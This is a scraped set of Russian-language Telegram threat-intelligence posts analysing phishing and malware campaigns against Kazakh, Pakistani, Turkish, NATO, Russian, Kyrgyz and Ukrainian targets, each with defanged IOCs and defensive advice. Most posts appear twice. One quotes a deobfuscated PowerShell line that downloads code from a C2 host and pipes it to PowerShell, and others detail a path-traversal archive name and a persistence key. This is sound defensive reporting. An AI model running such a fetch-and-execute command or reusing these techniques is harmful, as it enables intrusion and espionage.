🚨 Внимание: Целевая атака на компании Казахстана под видом АО «Самрук-Энерго»
На ANY[.]RUN увидел новую фишинговую рассылку, направленную на казахстанский бизнес. Злоумышленники мимикрируют под сотрудников «Самрук-Энерго» (присылают «ценовые предложения»), используя для отправки писем скомпрометированный почтовый сервер реального российского предприятия (АО НПК «Дедал»). Из-за этого письма успешно проходят проверки SPF/DKIM и не блокируются спам-фильтрами.
Технические детали цепочки заражения:
1. Жертва получает ZIP-архив, внутри которого лежит образ диска VHDX (популярная техника для обхода Mark-of-the-Web и SmartScreen).
2. На виртуальном диске находится раздутый мусорным кодом JS-файл.
3. JS-скрипт использует WMI (
4. Стейджер скачивает фейковую картинку с румынского сервера, расшифровывает спрятанный в ней Base64 (AES) и fileless-методом (в памяти) выполняет вредоносную сборку .NET.
🔴 IOCs (Индикаторы компрометации):
* URL пейлоада:
* IP отправителя:
* VHDX (MD5):
* JS-скрипт (MD5):
* Финальный пейлоад (MD5):
Неплохо бы добавить URL и хэши в блокировки, а также предупредить пользователей о недопустимости монтирования VHDX/ISO образов из почты.
P.S. А я продолжаю навязчиво напоминать, что у меня есть аккаунт в X, где я буду рад видеть вас в качестве читателей https://x.com/askardyuss
#ti@qcakz
На ANY[.]RUN увидел новую фишинговую рассылку, направленную на казахстанский бизнес. Злоумышленники мимикрируют под сотрудников «Самрук-Энерго» (присылают «ценовые предложения»), используя для отправки писем скомпрометированный почтовый сервер реального российского предприятия (АО НПК «Дедал»). Из-за этого письма успешно проходят проверки SPF/DKIM и не блокируются спам-фильтрами.
Технические детали цепочки заражения:
1. Жертва получает ZIP-архив, внутри которого лежит образ диска VHDX (популярная техника для обхода Mark-of-the-Web и SmartScreen).
2. На виртуальном диске находится раздутый мусорным кодом JS-файл.
3. JS-скрипт использует WMI (
Win32_Process) для скрытого запуска PowerShell, чтобы разорвать дерево процессов и запутать EDR-системы.4. Стейджер скачивает фейковую картинку с румынского сервера, расшифровывает спрятанный в ней Base64 (AES) и fileless-методом (в памяти) выполняет вредоносную сборку .NET.
🔴 IOCs (Индикаторы компрометации):
* URL пейлоада:
hxxps://nickart[.]ro/wqaccess/optimized_MSI[.]png* IP отправителя:
91.224.77[.]181* VHDX (MD5):
758AAD5F507B93D31DE0BA269DE67500* JS-скрипт (MD5):
9B974B43BDBCE0265A3FFA17E7899AA0* Финальный пейлоад (MD5):
4cbfce17e2733c3926997aab98c20b8f (.NET PE32)Неплохо бы добавить URL и хэши в блокировки, а также предупредить пользователей о недопустимости монтирования VHDX/ISO образов из почты.
P.S. А я продолжаю навязчиво напоминать, что у меня есть аккаунт в X, где я буду рад видеть вас в качестве читателей https://x.com/askardyuss
#ti@qcakz
❤7🔥4👍1
⚡️ Целевая кибершпионажная атака на оборонный сектор Пакистана с использованием CVE-2025-6218 🇵🇰🎯
На ANY[.]RUN обнаружен свежий ZIP-архив, направленный против Министерства обороны и ВВС Пакистана 🇵🇰. Вредоносная кампания примечательна техникой закрепления в системе через эксплуатацию уязвимости архиваторов. 🛡⚙️
💥 Как устроена атака:
1️⃣ Жертва получает архив с фальшивым инвойсом от правительственного органа (PPRA Pakistan). Внутри виден лишь файл
2️⃣ Однако архив содержит 23 альтернативных потока данных NTFS (ADS) с разной глубиной техники Path Traversal (перехода по директориям):
3️⃣ При распаковке уязвимым архиватором вредоносный ярлык скрытно дропается прямиком в папку Автозагрузки (Startup) пользователя.
4️⃣ Сам LNK-файл содержит обфусцированную PowerShell-команду (закодированную в байтовые массивы для обхода антивирусов). 💻🕵️♂️
После деобфускации логика выглядит так:
Скрипт незаметно скачивает и выполняет в памяти следующий этап малвари (Payload), а для отвода глаз открывает в Chrome реальную страницу тендера на правительственном сайте Пакистана. Подтверждает точечный характер атаки и то, что первые загрузки файла шли из Пакистана. 🗺🌐
🚨 Индикаторы компрометации (IoCs):
ZIP-архив MD5:
Вредоносный LNK MD5:
Документ-приманка (PDF) MD5:
C2 Хост:
#ti@qcakz
На ANY[.]RUN обнаружен свежий ZIP-архив, направленный против Министерства обороны и ВВС Пакистана 🇵🇰. Вредоносная кампания примечательна техникой закрепления в системе через эксплуатацию уязвимости архиваторов. 🛡⚙️
💥 Как устроена атака:
1️⃣ Жертва получает архив с фальшивым инвойсом от правительственного органа (PPRA Pakistan). Внутри виден лишь файл
Payment_Receipt.pdf.2️⃣ Однако архив содержит 23 альтернативных потока данных NTFS (ADS) с разной глубиной техники Path Traversal (перехода по директориям):
.._.._AppData_Roaming_..._Startup_Payment_Receipt.lnk:$DATA. 📁🚡3️⃣ При распаковке уязвимым архиватором вредоносный ярлык скрытно дропается прямиком в папку Автозагрузки (Startup) пользователя.
4️⃣ Сам LNK-файл содержит обфусцированную PowerShell-команду (закодированную в байтовые массивы для обхода антивирусов). 💻🕵️♂️
После деобфускации логика выглядит так:
Invoke-RestMethod "docs[.]files-windows[.]top/j658K" | powershell;
& "C:\Program Files\Google\Chrome\Application\chrome.exe" https://epms[.]ppra.gov[.]pk/...
Скрипт незаметно скачивает и выполняет в памяти следующий этап малвари (Payload), а для отвода глаз открывает в Chrome реальную страницу тендера на правительственном сайте Пакистана. Подтверждает точечный характер атаки и то, что первые загрузки файла шли из Пакистана. 🗺🌐
🚨 Индикаторы компрометации (IoCs):
ZIP-архив MD5:
563442c7538069cc5630fed7a947d826Вредоносный LNK MD5:
49069ca3d2bd90d40660ca3bdc517bffДокумент-приманка (PDF) MD5:
1d6fb7793bfee626228801057eb79cbcC2 Хост:
docs.files-windows[.]top#ti@qcakz
❤3
#ThreatIntel: Анализируя дампы на ANY[.]RUN обнаружил подозрительный EML-файл, содержащий целевую фишинговую атаку против турецкого оборонного гиганта Baykar Technology (производитель БПЛА Bayraktar).
Данный инцидент представляет собой критический кейс #VendorEmailCompromise (VEC) и компрометации цепочки поставок (#SupplyChain).
🎯 Взлом легитимного домена партнера:
Вредоносные письма рассылались с домена
⚙️ Технический #АнализМалвари и цепочки заражения:
1️⃣ Обход песочниц (Sandbox Evasion): Жертве присылают ссылку на запароленный ZIP-архив на LimeWire. Внутри находится VBS-скрипт, искусственно «раздутый» комментариями до 6.14 МБ. Это сделано для обхода автоматических систем анализа (песочниц), которые часто пропускают файлы крупнее 5 МБ ради сохранения производительности.
2️⃣ Закрепление (Persistence): Деобфусцированный VBS запускает скрытый PowerShell-агент. Он копирует себя в
3️⃣ Интерактивный бэкдор (RAT): Финальный PowerShell-агент генерирует уникальный UID устройства и каждые 5 секунд запрашивает задачи с C2-сервера. Малварь поддерживает полноценный Reverse Shell (выполнение любых команд), просмотр директорий (
🚨 Индикаторы компрометации (IoCs):
• Скомпрометированный домен партнера:
• IP почтового сервера партнера:
• Ссылка на архив:
• URL C2-сервера (Stager):
• URL документа-приманки:
• Хэш VBS-даунлоадера (MD5):
• Хэш VBS-бэкдора (MD5):
Рекомендуется провести оперативный Threat Hunting на конечных точках на наличие ключа реестра
#ti@qcakz
Данный инцидент представляет собой критический кейс #VendorEmailCompromise (VEC) и компрометации цепочки поставок (#SupplyChain).
🎯 Взлом легитимного домена партнера:
Вредоносные письма рассылались с домена
aviaventures[.]net. Это реальный легитимный домен компании Avia Ventures — официального партнера Baykar, строящего завод по сборке беспилотников в Украине. Поскольку технические проверки SPF, DKIM и DMARC дали статус PASS, это полностью исключает подделку имени (spoofing). Атакующие получили контроль над почтовой инфраструктурой партнера, что позволило им перехватывать реальные цепочки писем (Thread Hijacking) с максимальным уровнем доверия со стороны жертвы.⚙️ Технический #АнализМалвари и цепочки заражения:
1️⃣ Обход песочниц (Sandbox Evasion): Жертве присылают ссылку на запароленный ZIP-архив на LimeWire. Внутри находится VBS-скрипт, искусственно «раздутый» комментариями до 6.14 МБ. Это сделано для обхода автоматических систем анализа (песочниц), которые часто пропускают файлы крупнее 5 МБ ради сохранения производительности.
2️⃣ Закрепление (Persistence): Деобфусцированный VBS запускает скрытый PowerShell-агент. Он копирует себя в
%APPDATA%\Microsoft\Vault\sync_agent.ps1 (мимикрия под системное хранилище учетных данных) и прописывается в автозагрузку текущего пользователя (HKCU\...\Run) под именем WindowsUpdateSync.3️⃣ Интерактивный бэкдор (RAT): Финальный PowerShell-агент генерирует уникальный UID устройства и каждые 5 секунд запрашивает задачи с C2-сервера. Малварь поддерживает полноценный Reverse Shell (выполнение любых команд), просмотр директорий (
ls), точечную кражу файлов (grab) и автоматический сбор документов пользователя.🚨 Индикаторы компрометации (IoCs):
• Скомпрометированный домен партнера:
aviaventures[.]net• IP почтового сервера партнера:
37[.]77[.]29[.]120• Ссылка на архив:
hxxps[:]//limewire[.]com/d/iCJG8#UKQoAFZKPG• URL C2-сервера (Stager):
hxxp[:]//181[.]215[.]18[.]89/hurry[.]ps1• URL документа-приманки:
hxxps[:]//filesdownloadsecurely[.]netlify[.]app/letter[.]pdf• Хэш VBS-даунлоадера (MD5):
E030A7A1AE5685E62879D522F2DB2104• Хэш VBS-бэкдора (MD5):
C0376786BD41F9851554000A15E5AB15Рекомендуется провести оперативный Threat Hunting на конечных точках на наличие ключа реестра
WindowsUpdateSync и заблокировать трафик к указанному IP-адресу C2.#ti@qcakz
❤2
⚡️ #ThreatIntel: Фишинг против структур НАТО, предположительная активность Mustang Panda (TA416)
В песочнице ANY[.]RUN обнаружен свежий образец высококлассной фишинговой атаки, направленной на военное представительство Греции при НАТО. По набору используемых тактик и техническим деталям эта кампания с высокой долей вероятности принадлежит APT-группировке #TA416 (#MustangPanda).
Детали цепочки заражения:
🎯 Жертва и приманка
Письмо было отправлено с замаскированного ящика Gmail под видом Постоянного представительства Черногории при НАТО. В качестве приманки использовался (поддельный?) отчет о брифинге «На пути к саммиту в Анкаре».
🌐 Доставка и маскировка
Ссылка ведет на сайт за Cloudflare. После прохождения фейковой проверки на робота жертва попадает на детальный клон интерфейса Google Drive, откуда скачивается вредоносный ZIP-архив.
⚙️ Хитрая цепочка запуска (Data Carving)
Внутри архива находится LNK-ярлык с иконкой PDF. При клике он запускает скрытую команду PowerShell, которая считывает сырые байты ZIP-файла, «вырезает» из него скрытый TAR-контейнер и распаковывает его с помощью встроенной в Windows утилиты tar.exe, обходя поведенческие фильтры EDR.
💉 DLL Side-Loading
Распаковывается классическое трио файлов:
▪️ CNMNSST.exe — легитимный файл от Canon.
▪️ CNCLID.dll — вредоносная библиотека-перехватчик.
▪️ Canon.dat — зашифрованная полезная нагрузка.
📡 Сетевая активность (C2)
Малварь сразу открывает в браузере качественный PDF-документ (приманку), пока в фоне скрытый поток отправляет HTTPS GET-запросы на командный сервер, маскируясь под трафик веб-аналитики с динамическими параметрами.
Индикаторы компрометации (IOCs)
Сетевая инфраструктура:
▪️ resources.babyafrosapparel[.]com (Фишинговый гейт)
▪️ drive.babyafrosapparel[.]com (Доставка пейлоада)
▪️ concreteinportland[.]com (C2 сервер)
Хэши файлов (MD5):
▪️ B791C416988D068A3E548A0F21CD3518 (LNK-ярлык)
▪️ c836a6bbe16354a21ee688e3eeb32d86 (Вредоносная DLL - CNCLID.dll)
▪️ e70a5908e5eaee1bcd15eef82b1bcfdd (Зашифрованный пейлоад - Canon.dat)
▪️ adb67ffe941a706b6343f94413f6e5f2 (Легитимный EXE Canon - CNMNSST.exe)
Артефакты письма:
▪️ Отправитель: stasa.stojkovic.mne@gmail[.]com
#Фишинг #MalwareAnalysis #ANYRUN
#ti@qcakz
В песочнице ANY[.]RUN обнаружен свежий образец высококлассной фишинговой атаки, направленной на военное представительство Греции при НАТО. По набору используемых тактик и техническим деталям эта кампания с высокой долей вероятности принадлежит APT-группировке #TA416 (#MustangPanda).
Детали цепочки заражения:
🎯 Жертва и приманка
Письмо было отправлено с замаскированного ящика Gmail под видом Постоянного представительства Черногории при НАТО. В качестве приманки использовался (поддельный?) отчет о брифинге «На пути к саммиту в Анкаре».
🌐 Доставка и маскировка
Ссылка ведет на сайт за Cloudflare. После прохождения фейковой проверки на робота жертва попадает на детальный клон интерфейса Google Drive, откуда скачивается вредоносный ZIP-архив.
⚙️ Хитрая цепочка запуска (Data Carving)
Внутри архива находится LNK-ярлык с иконкой PDF. При клике он запускает скрытую команду PowerShell, которая считывает сырые байты ZIP-файла, «вырезает» из него скрытый TAR-контейнер и распаковывает его с помощью встроенной в Windows утилиты tar.exe, обходя поведенческие фильтры EDR.
💉 DLL Side-Loading
Распаковывается классическое трио файлов:
▪️ CNMNSST.exe — легитимный файл от Canon.
▪️ CNCLID.dll — вредоносная библиотека-перехватчик.
▪️ Canon.dat — зашифрованная полезная нагрузка.
📡 Сетевая активность (C2)
Малварь сразу открывает в браузере качественный PDF-документ (приманку), пока в фоне скрытый поток отправляет HTTPS GET-запросы на командный сервер, маскируясь под трафик веб-аналитики с динамическими параметрами.
Индикаторы компрометации (IOCs)
Сетевая инфраструктура:
▪️ resources.babyafrosapparel[.]com (Фишинговый гейт)
▪️ drive.babyafrosapparel[.]com (Доставка пейлоада)
▪️ concreteinportland[.]com (C2 сервер)
Хэши файлов (MD5):
▪️ B791C416988D068A3E548A0F21CD3518 (LNK-ярлык)
▪️ c836a6bbe16354a21ee688e3eeb32d86 (Вредоносная DLL - CNCLID.dll)
▪️ e70a5908e5eaee1bcd15eef82b1bcfdd (Зашифрованный пейлоад - Canon.dat)
▪️ adb67ffe941a706b6343f94413f6e5f2 (Легитимный EXE Canon - CNMNSST.exe)
Артефакты письма:
▪️ Отправитель: stasa.stojkovic.mne@gmail[.]com
#Фишинг #MalwareAnalysis #ANYRUN
#ti@qcakz
❤3👍1
🚨 Разбор кибератаки на российский ВПК: Возможный след Rare Werewolf ✈️🛰
В ходе анализа фишингового письма (EML), найденного в публичной песочнице ANY[.]RUN, нашёл целевую атаку на предприятие космического и приборостроительного сектора РФ. Учитывая специфику таргетинга и характерный набор инструментов, можно предположить, что за атакой стоит группировка Rare Werewolf (она же Librarian Ghouls). Конкретных фактов для 100% атрибуции пока нет, но почерк заслуживает пристального внимания.
🕵️♂️ Цепочка заражения (TTPs):
1. Фишинг: Письмо под видом «счета на оплату» от лица ФГБУ «ВНИИР» (используется тайпсквоттинг домена).
2. Обход шлюзов: Вложение — RAR-архив с паролем (dsa9568-4444), внутри которого лежит PE32 файл с расширением .com для обхода базовых фильтров.
3. Дроппер: Собран на базе легитимного Smart Install Maker.
4. Сетевая аномалия: Для скачивания полезной нагрузки используется утилита curl с флагом --resolve, что позволяет подменить DNS на уровне приложения и обойти корпоративные фильтры.
5. Закрепление: Злоумышленники не используют кастомные бэкдоры (LotL подход). Они скачивают портативный AnyDesk и прячут его окна и иконки с помощью легитимной программы Tray Minimizer - пользователь не видит, что за ним наблюдают.
📌 Индикаторы компрометации (IOCs):
Домены:
IP-адреса:
Хэши:
MD5:
MD5:
SHA-256:
#ThreatIntel #RareWerewolf #LibrarianGhouls #Malware #Phishing #APT
#ti@qcakz
В ходе анализа фишингового письма (EML), найденного в публичной песочнице ANY[.]RUN, нашёл целевую атаку на предприятие космического и приборостроительного сектора РФ. Учитывая специфику таргетинга и характерный набор инструментов, можно предположить, что за атакой стоит группировка Rare Werewolf (она же Librarian Ghouls). Конкретных фактов для 100% атрибуции пока нет, но почерк заслуживает пристального внимания.
🕵️♂️ Цепочка заражения (TTPs):
1. Фишинг: Письмо под видом «счета на оплату» от лица ФГБУ «ВНИИР» (используется тайпсквоттинг домена).
2. Обход шлюзов: Вложение — RAR-архив с паролем (dsa9568-4444), внутри которого лежит PE32 файл с расширением .com для обхода базовых фильтров.
3. Дроппер: Собран на базе легитимного Smart Install Maker.
4. Сетевая аномалия: Для скачивания полезной нагрузки используется утилита curl с флагом --resolve, что позволяет подменить DNS на уровне приложения и обойти корпоративные фильтры.
5. Закрепление: Злоумышленники не используют кастомные бэкдоры (LotL подход). Они скачивают портативный AnyDesk и прячут его окна и иконки с помощью легитимной программы Tray Minimizer - пользователь не видит, что за ним наблюдают.
📌 Индикаторы компрометации (IOCs):
Домены:
aviatronika[.]onlinevniir-avia[.]spacefgub-vniir[.]spacevniir-info[.]spacenova-stream[.]siteIP-адреса:
198.54.120[.]13194.87.57[.]812.23.88[.]201145.224.101[.]166Хэши:
MD5:
eabd440c996846d0992e37ab01d01208 (Dropper)MD5:
6cc3c68c56e099792fdeadde76256d56 (Payload RAR)SHA-256:
f57e010541fb4ccbf23aefc4a827f753a6ff3f8792d9c04c3eea83f6963c6bae (Payload RAR)#ThreatIntel #RareWerewolf #LibrarianGhouls #Malware #Phishing #APT
#ti@qcakz
🚨 Новая кампания против организаций в Кыргызстане: анализ малвари из песочницы
В песочнице ANY.RUN был обнаружен свежий вредоносный архив, нацеленный на государственные или коммерческие структуры Кыргызстана. Злоумышленники используют классическую схему с документом-приманкой и скрытым бэкдором.
📦 Содержимое архива:
1. «Приложение.pdf» — легитимный документ (краткий статистический справочник Национального статистического комитета Кыргызской Республики, изданный в Бишкеке). Используется для усыпления бдительности.
2. «Исправленная версия документа.exe» — вредоносный файл, маскирующийся под обновление или исправление документа.
🔍 Технический анализ:
Исполняемый файл представляет собой 64-битную утилиту, собранную в Visual Studio 2022 и упакованную с помощью PyInstaller (версия Python 3.13).
После распаковки архива с помощью
• Бэкдор стучится на C2-сервер по пути
• Раз в 10 секунд запускается цикл опроса (polling) сервера.
• Передаваемые команды исполняются в системе через скрытый командный интерпретатор (
• Результат выполнения команды отправляется обратно на сервер в формате JSON.
• Предусмотрена команда самоликвидации
🌐 Инфраструктура и атрибуция:
Управляющий сервер (C2) расположен по адресу:
📌 Индикаторы компрометации (IoCs):
• Вредоносный EXE (MD5):
• Документ-приманка PDF (MD5):
• Сетевой C2-сервер:
#ThreatIntel #Malware #APT
#ti@qcakz
В песочнице ANY.RUN был обнаружен свежий вредоносный архив, нацеленный на государственные или коммерческие структуры Кыргызстана. Злоумышленники используют классическую схему с документом-приманкой и скрытым бэкдором.
📦 Содержимое архива:
1. «Приложение.pdf» — легитимный документ (краткий статистический справочник Национального статистического комитета Кыргызской Республики, изданный в Бишкеке). Используется для усыпления бдительности.
2. «Исправленная версия документа.exe» — вредоносный файл, маскирующийся под обновление или исправление документа.
🔍 Технический анализ:
Исполняемый файл представляет собой 64-битную утилиту, собранную в Visual Studio 2022 и упакованную с помощью PyInstaller (версия Python 3.13).
После распаковки архива с помощью
pyinstxtractor и декомпиляции основного скрипта (exec.pyc) был обнаружен лаконичный, но опасный HTTP-бэкдор. Логика его работы следующая:• Бэкдор стучится на C2-сервер по пути
/connect и получает уникальный токен сессии.• Раз в 10 секунд запускается цикл опроса (polling) сервера.
• Передаваемые команды исполняются в системе через скрытый командный интерпретатор (
subprocess.Popen, shell=True).• Результат выполнения команды отправляется обратно на сервер в формате JSON.
• Предусмотрена команда самоликвидации
killbot для завершения работы.🌐 Инфраструктура и атрибуция:
Управляющий сервер (C2) расположен по адресу:
65.38.120[.]129[:]5556 (провайдер BL Networks, Румыния). Специфика выбранной приманки и характер исполнения указывают на возможную активность целевой кибершпионской группировки (suspected APT).📌 Индикаторы компрометации (IoCs):
• Вредоносный EXE (MD5):
80fbb8ed636178d30b1a3a864cd1f231• Документ-приманка PDF (MD5):
048de81368e46adf9dd12df7278f7821• Сетевой C2-сервер:
65.38.120[.]129[:]5556#ThreatIntel #Malware #APT
#ti@qcakz
❤4🔥1
🚨 Свежий ThreatIntel: Анализ скрытной малвари, нацеленной на пакистанских военных 🇵🇰
В публичном доступе песочницы ANY.RUN был обнаружен примечательный образец, нацеленный на оборонный сектор и военных Пакистана 🇵🇰. Характер приманки и технические особенности сборки указывают на активность неизвестной APT группировки, которая успешно совмещает старые методы обхода систем защиты с продвинутыми инструментами компиляции для проведения целевого кибершпионажа.
📬 Документ-приманка
В качестве вектора первоначального заражения используется вредоносный файл справки (CHM). При его открытии жертве демонстрируется структурированный служебный документ, содержащий детальные графики и планы участия пакистанских военных ведомств и предприятий ВПК в международных оборонных выставках. Тематика приманки однозначно указывает на то, что главной мишенью атаки являются пакистанские военные структуры.
⚙️ Технический анализ цепочки выполнения
1. Обход через ActiveX: Внутри HTML-структуры CHM-файла зашит лаконичный JavaScript-скрипт, автоматически вызывающий встроенный элемент управления
2. Компиляция Nuitka: Дропнутый EXE-файл защищен упаковщиком Nuitka (в режиме OneFile). Этот инструмент переводит исходный код Python в код на Си, после чего компилирует его в полноценные машинные инструкции. Стандартные декомпиляторы Python здесь абсолютно бессильны.
3. Анатомия полезной нагрузки: Распаковка окружения выявила ключевой компонент вредоноса —
Разработчики вредоносного ПО приложили серьезные усилия для усложнения статического реверса, выбрав в качестве мишени оборонные ведомства и военную инфраструктуру.
🔍 Индикаторы компрометации (IOCs)
• Файл-приманка CHM:
• Загрузчик Nuitka EXE:
• Полезная нагрузка DLL:
#ThreatIntel #Малварь #Реверсинжиниринг #APT #Кибербезопасность #Пакистан
#ti@qcakz
В публичном доступе песочницы ANY.RUN был обнаружен примечательный образец, нацеленный на оборонный сектор и военных Пакистана 🇵🇰. Характер приманки и технические особенности сборки указывают на активность неизвестной APT группировки, которая успешно совмещает старые методы обхода систем защиты с продвинутыми инструментами компиляции для проведения целевого кибершпионажа.
📬 Документ-приманка
В качестве вектора первоначального заражения используется вредоносный файл справки (CHM). При его открытии жертве демонстрируется структурированный служебный документ, содержащий детальные графики и планы участия пакистанских военных ведомств и предприятий ВПК в международных оборонных выставках. Тематика приманки однозначно указывает на то, что главной мишенью атаки являются пакистанские военные структуры.
⚙️ Технический анализ цепочки выполнения
1. Обход через ActiveX: Внутри HTML-структуры CHM-файла зашит лаконичный JavaScript-скрипт, автоматически вызывающий встроенный элемент управления
HHCTRL.OCX с командой ShortCut. Это позволяет скрытно запустить исполняемый EXE-файл, находящийся в той же директории, в момент открытия справки.2. Компиляция Nuitka: Дропнутый EXE-файл защищен упаковщиком Nuitka (в режиме OneFile). Этот инструмент переводит исходный код Python в код на Си, после чего компилирует его в полноценные машинные инструкции. Стандартные декомпиляторы Python здесь абсолютно бессильны.
3. Анатомия полезной нагрузки: Распаковка окружения выявила ключевой компонент вредоноса —
client_exe.dll. Для реализации своих функций малварь использует нативные модули _wmi.pyd (сбор информации о системе и проверка на песочницы) и _ctypes.pyd (для прямых низкоуровневых вызовов Windows API). В директории криптографических модулей также обнаружены следы библиотек, написанных на Rust, что усложняет анализ сетевого трафика и конфигурации.Разработчики вредоносного ПО приложили серьезные усилия для усложнения статического реверса, выбрав в качестве мишени оборонные ведомства и военную инфраструктуру.
🔍 Индикаторы компрометации (IOCs)
• Файл-приманка CHM:
9CBE5D435F63E16B85BCA1F8C6EA4A9B• Загрузчик Nuitka EXE:
37B7AABFAD89345AACE02C294AB940EC• Полезная нагрузка DLL:
422E4A3F1C69FF834DFC4688E8893716#ThreatIntel #Малварь #Реверсинжиниринг #APT #Кибербезопасность #Пакистан
#ti@qcakz
1👍5
🚨 Фишинговая кампания нацелена на госсектор и ИТ-инфраструктуру Украины 🇺🇦
В песочнице ANY[.]RUN появился анализ фишингового письма, мимикрирующего под систему электронного здравоохранения Украины. Среди целей злоумышленников обнаружен почтовый ящик в государственном домене infotech[.]gov[.]ua (ГП «Инфотех» — ключевое госпредприятие, обеспечивающее ИТ-поддержку и разработку реестров для органов власти).
Посредством целевого фишинга на государственного ИТ-подрядчика злоумышленник пытался скомпрометировать доверенные отношения (или всё же доверительные? 🤪 ) с целью получения привилегированного доступа к информ.системам государственных органов Украины.
Ключевые сведения:
• Основная цель: Государственный ИТ-сектор и представители медицинских информационных систем (МИС).
• Методология: Использование скрытых трекеров для контроля прочтения писем и копий страниц авторизации eHealth для сбора учетных данных.
• Атрибуция: Характер целей, сложность контекста и узкая специализация существенно подкрепляют версию о работе APT. Прямых доказательств для точной атрибуции пока нет, но почерк имеет признаки кибершпионажа.
Индикаторы компрометации (IOCs):
Рекомендуется провести ретроспективный анализ логов и заблокировать указанные адреса на средствах защиты (firewalls, proxy, email gateways).
#ti@qcakz
В песочнице ANY[.]RUN появился анализ фишингового письма, мимикрирующего под систему электронного здравоохранения Украины. Среди целей злоумышленников обнаружен почтовый ящик в государственном домене infotech[.]gov[.]ua (ГП «Инфотех» — ключевое госпредприятие, обеспечивающее ИТ-поддержку и разработку реестров для органов власти).
Посредством целевого фишинга на государственного ИТ-подрядчика злоумышленник пытался скомпрометировать доверенные отношения (
Ключевые сведения:
• Основная цель: Государственный ИТ-сектор и представители медицинских информационных систем (МИС).
• Методология: Использование скрытых трекеров для контроля прочтения писем и копий страниц авторизации eHealth для сбора учетных данных.
• Атрибуция: Характер целей, сложность контекста и узкая специализация существенно подкрепляют версию о работе APT. Прямых доказательств для точной атрибуции пока нет, но почерк имеет признаки кибершпионажа.
Индикаторы компрометации (IOCs):
hxxps[:]//letter-moz.pp[.]ua/?rid=Tb6LDiShxxps[:]//moh-digital.blogspot[.]com/2026/07/blog-post.htmlletter-moz.pp[.]uaРекомендуется провести ретроспективный анализ логов и заблокировать указанные адреса на средствах защиты (firewalls, proxy, email gateways).
#ti@qcakz
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍1